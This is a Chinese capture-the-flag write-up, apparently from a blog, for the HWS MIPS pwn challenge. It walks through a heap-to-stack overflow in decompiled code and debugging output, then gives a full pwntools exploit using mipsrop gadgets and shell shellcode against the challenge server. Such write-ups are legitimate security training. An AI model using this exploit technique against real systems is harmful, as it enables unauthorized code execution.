HWS赛题 入门 MIPS Pwn-HWS_pwn(IDA插件mipsrop)

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:堆溢出(Heap Overflow)
  2. 栈地址:
  3. libc地址:
  4. BSS段地址:
    劫持程序执行流程:MIPS_ROP
    获得shell或flag:利用shellcode获得shell

题目类型:
MIPS_Pwn
静态编译Pwn

相关知识点:

IDA插件mipsrop
MIPS大端序
memcpy()

信息收集总结

题目信息:

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ file ./pwn    
./pwn: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e0782ebdf0d70b808dba4b10c6866faeae35c620, not stripped
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ checksec --file=pwn    
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
Full RELRO      No canary found   NX disabled   No PIE          N/A        N/A          1766 Symbols    N/A     0  23               pwn

libc版本:
wp借鉴:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)

程序运行回馈

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ qemu-mips ./pwn
=== Welcome to visit H4-link! ===
Enter the group number: 
5
Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' 
1
format error!

核心伪代码分析:

存在利用的的代码:

bool pwn()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  ptr_chunk = malloc(0x200);
  puts("Enter the group number: ");
  if ( !_isoc99_scanf("%d", input) )
  {
    printf("Input error!");
    exit(-1);
  }
  if ( !input[0] || input[0] >= 0xAu )
  {
    fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
    exit(-1);
  }
  input[1] = &v3;
  num = 36;
  v10 = 36 * input[0];
  v11 = 36 * input[0] - 1;
  v12 = v4;
  memset(v4, 0, 36 * input[0]);
  for ( i = 0; ; ++i )
  {
    result = i < input[0];
    if ( i >= input[0] )
      break;
    v13 = (v12 + i * num);
    v14 = v13;
    memset(ptr_chunk, 0, 4);
    puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
    v15 = read(0, ptr_chunk, 0x300);            // 存在堆溢出
    if ( v13 )
    {
      v0 = atoi(ptr_chunk);
      *v14 = v0;
      v16 = strchr(ptr_chunk, 58);
      for ( j = 0; ptr_chunk++; ++j )
      {
        if ( *ptr_chunk == '\n' )
        {
          v5 = ptr_chunk;
          break;
        }
      }
      v17 = &v5[-v16];
      if ( !v16 )
      {
        puts("format error!");
        exit(-1);
      }
      memcpy(v14 + 1, v16 + 1, v17);
    }
    else
    {
      printf("Error!");
      v14[1] = 0x61616100;
    }
  }
  return result;
}

直接让GPT重新写函数名:

bool pwn()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  chunkPointer = malloc(0x200);
  puts("Enter the group number: ");
  if ( !_isoc99_scanf("%d", userInput) )
  {
    printf("Input error!");
    exit(-1);
  }
  if ( !userInput[0] || userInput[0] >= 0xAu )
  {
    fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
    exit(-1);
  }
  userInput[1] = &tempVariable;
  entrySize = 36;
  totalSize = 36 * userInput[0];
  lastEntryIndex = 36 * userInput[0] - 1;
  dataBlock = tempBuffer;
  memset(tempBuffer, 0, 36 * userInput[0]);
  for ( currentGroup = 0; ; ++currentGroup )
  {
    isWithinLimit = currentGroup < userInput[0];
    if ( currentGroup >= userInput[0] )
      break;
    currentEntry = (dataBlock + currentGroup * entrySize);
    entryPointer = currentEntry;
    memset(chunkPointer, 0, 4);
    puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
    bytesRead = read(0, chunkPointer, 0x300);   // 存在堆溢出
    if ( currentEntry )
    {
      userID = atoi(chunkPointer);
      *entryPointer = userID;
      nameDelimiter = strchr(chunkPointer, ':');
      for ( nameIndex = 0; chunkPointer++; ++nameIndex )
      {
        if ( *chunkPointer == '\n' )
        {
          endOfInput = chunkPointer;
          break;
        }
      }
      nameLength = &endOfInput[-nameDelimiter];
      if ( !nameDelimiter )
      {
        puts("format error!");
        exit(-1);
      }
      memcpy(entryPointer + 1, nameDelimiter + 1, nameLength);
    }
    else
    {
      printf("Error!");
      entryPointer[1] = 0x61616100;
    }
  }
  return isWithinLimit;
}

发现存在堆溢出:

chunkPointer = malloc(0x200);
...
bytesRead = read(0, chunkPointer, 0x300);   // 存在堆溢出

然后发现又会将堆上的内容拷贝到栈上,从而发生栈溢出:

      *entryPointer = userID;
      nameDelimiter = strchr(chunkPointer, ':');
      nameLength = &endOfInput[-nameDelimiter];
      memcpy(entryPointer + 1, nameDelimiter + 1, nameLength);

手动测试溢出长度:

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ qemu-mips ./pwn
=== Welcome to visit H4-link! ===
Enter the group number: 
1
Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' 
1:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
zsh: segmentation fault  qemu-mips ./pwn

远程测试溢出长度:

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> target remote localhost:1234
warning: `target:/home/kali/Desktop/Pwn/BUU/MIPS/HWS_pwn/pwn' has disappeared; keeping its symbols.
Remote debugging using localhost:1234
Remote communication error.  Target disconnected: error while reading: Connection reset by peer.
pwndbg> target remote localhost:1234
warning: `target:/home/kali/Desktop/Pwn/BUU/MIPS/HWS_pwn/pwn' has disappeared; keeping its symbols.
Remote debugging using localhost:1234
0x00400360 in __start ()
pwndbg> b *0x400940
Note: breakpoint 1 also set at pc 0x400940.
Breakpoint 2 at 0x400940
pwndbg> x/20gi 0x400940
   0x400940 <pwn+780>:  bal     0x41c2e0 <memcpy>
   0x400944 <pwn+784>:  nop
   0x400948 <pwn+788>:  lw      gp,16(s8)
   0x40094c <pwn+792>:  b       0x400988 <pwn+852>
   0x400950 <pwn+796>:  nop
   0x400954 <pwn+800>:  lui     v0,0x47
   0x400958 <pwn+804>:  addiu   a0,v0,16680
   0x40095c <pwn+808>:  lw      v0,-32584(gp)
   0x400960 <pwn+812>:  move    t9,v0
   0x400964 <pwn+816>:  bal     0x408df0 <printf>
   0x400968 <pwn+820>:  nop
   0x40096c <pwn+824>:  lw      gp,16(s8)
   0x400970 <pwn+828>:  lw      v0,60(s8)
   0x400974 <pwn+832>:  addiu   v0,v0,4
   0x400978 <pwn+836>:  lui     v1,0x47
   0x40097c <pwn+840>:  lw      v1,16688(v1)
   0x400980 <pwn+844>:  swl     v1,0(v0)
   0x400984 <pwn+848>:  swr     v1,3(v0)
   0x400988 <pwn+852>:  lw      v0,32(s8)
   0x40098c <pwn+856>:  addiu   v0,v0,1
pwndbg> c
Continuing.

Breakpoint 1, 0x00400940 in pwn ()
pwndbg> 

攻击思路总结

这里的看似是堆溢出其实是栈溢出一处之后直接转为栈溢出劫持返回地址,由于MIPS的栈存在可执行权限所以直接使用shellcode写入栈中,并且使用gadgets跳转执行栈上的shellcode!

脚本:

import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux',endian='big')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 26456)
else:
    if is_debug:
        sh = process(["qemu-mips",  "-g", "1234", pwnfile])
    else:
        sh = process(["qemu-mips",  pwnfile])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """set endian big
        		target remote localhost:1234
                            b *0x400940
                            b *0x4007d4
			""")  # brva 0xe93
mygdb()
sh.sendlineafter("number:","1")

ra = 0x004273C4 # move sp+0x64 to a2 -> jmp s0
s0 = 0x00421684 # jmp a2                   

payload = b'1:'
payload += b'a'*0x6c + p32(s0) + b'a'*0x20 + p32(ra)
payload += b'a'*0x64 + asm(shellcraft.sh())
sh.sendlineafter("Job.'",payload)

sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值